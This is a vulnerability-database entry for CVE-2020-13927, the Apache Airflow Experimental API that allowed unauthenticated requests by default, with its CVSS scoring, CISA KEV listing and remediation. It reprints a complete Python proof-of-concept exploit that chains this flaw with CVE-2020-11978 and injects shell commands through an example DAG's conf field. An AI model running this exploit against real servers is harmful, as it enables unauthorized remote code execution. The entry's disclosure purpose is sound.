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CVE-2020-13927 : Detail

CVE-2020-13927

9.8
/
CRITICAL
Authorization problems
A07-Identif. and Authent. Failures
96.83%V3
Network
2020-11-09 23:00 +00:00
2023-09-19 15:06 +00:00
CVE.org
NVD

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Descriptions

The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-1188 Initialization of a Resource with an Insecure Default
The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.
CWE-306 Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apache Airflow's Experimental API Authentication Bypass

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-01-17 23:00 +00:00

Action is due : 2022-07-17 22:00 +00:00

Important informations

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 49927

Publication date : 2021-06-01 22:00 +00:00
Author : Pepe Berba
EDB Verified : No

# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution # Date: 2021-06-02 # Exploit Author: Pepe Berba # Vendor Homepage: https://airflow.apache.org/ # Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html # Version: <= 1.10.10 # Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml) # CVE : CVE-2020-11978 # # This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow # This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default. # Together, potentially allows unauthenticated RCE to Airflow # # Repo: https://github.com/pberba/CVE-2020-11978 # More information can be found here: # https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E # https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E # # Remediation: # For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set. # For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG. # # Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test" import argparse import requests import sys import time def create_dag(url, cmd): print('[+] Checking if Airflow Experimental REST API is accessible...') check = requests.get('{}/api/experimental/test'.format(url)) if check.status_code == 200: print('[+] /api/experimental/test returned 200' ) else: print('[!] /api/experimental/test returned {}'.format(check.status_code)) print('[!] Airflow Experimental REST API not be accessible') sys.exit(1) check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url)) if check_task.status_code != 200: print('[!] Failed to find the example_trigger_target_dag.bash_task') print('[!] Host isn\'t vunerable to CVE-2020-11978') sys.exit(1) elif 'dag_run' in check_task.json()['env']: print('[!] example_trigger_target_dag.bash_task is patched') print('[!] Host isn\'t vunerable to CVE-2020-11978') sys.exit(1) print('[+] example_trigger_target_dag.bash_task is vulnerable') unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url)) if unpause.status_code != 200: print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded') sys.exit(1) else: print('[+] example_trigger_target_dag was enabled') print('[+] Creating new DAG...') res = requests.post( '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url), json={ 'conf': { 'message': '"; {} #'.format(cmd) } } ) if res.status_code == 200: print('[+] Successfully created DAG') print('[+] "{}"'.format(res.json()['message'])) else: print('[!] Failed to create DAG') sys.exit(1) wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format( url = url, execution_date=res.json()['execution_date'] ) start_time = time.time() print('[.] Waiting for the scheduler to run the DAG... This might take a minute.') print('[.] If the bash task is never queued, then the scheduler might not be running.') while True: time.sleep(10) res = requests.get(wait_url) status = res.json()['state'] if status == 'queued': print('[.] Bash task queued...') elif status == 'running': print('[+] Bash task running...') elif status == 'success': print('[+] Bash task successfully ran') break elif status == 'None': print('[-] Bash task is not yet queued...'.format(status)) else: print('[!] Bash task was {}'.format(status)) sys.exit(1) return 0 def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('url', type=str, help="Base URL for Airflow") arg_parser.add_argument('command', type=str) args = arg_parser.parse_args() create_dag( args.url, args.command ) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Apache>>Airflow >> Version To (excluding) 1.10.11

References


More information
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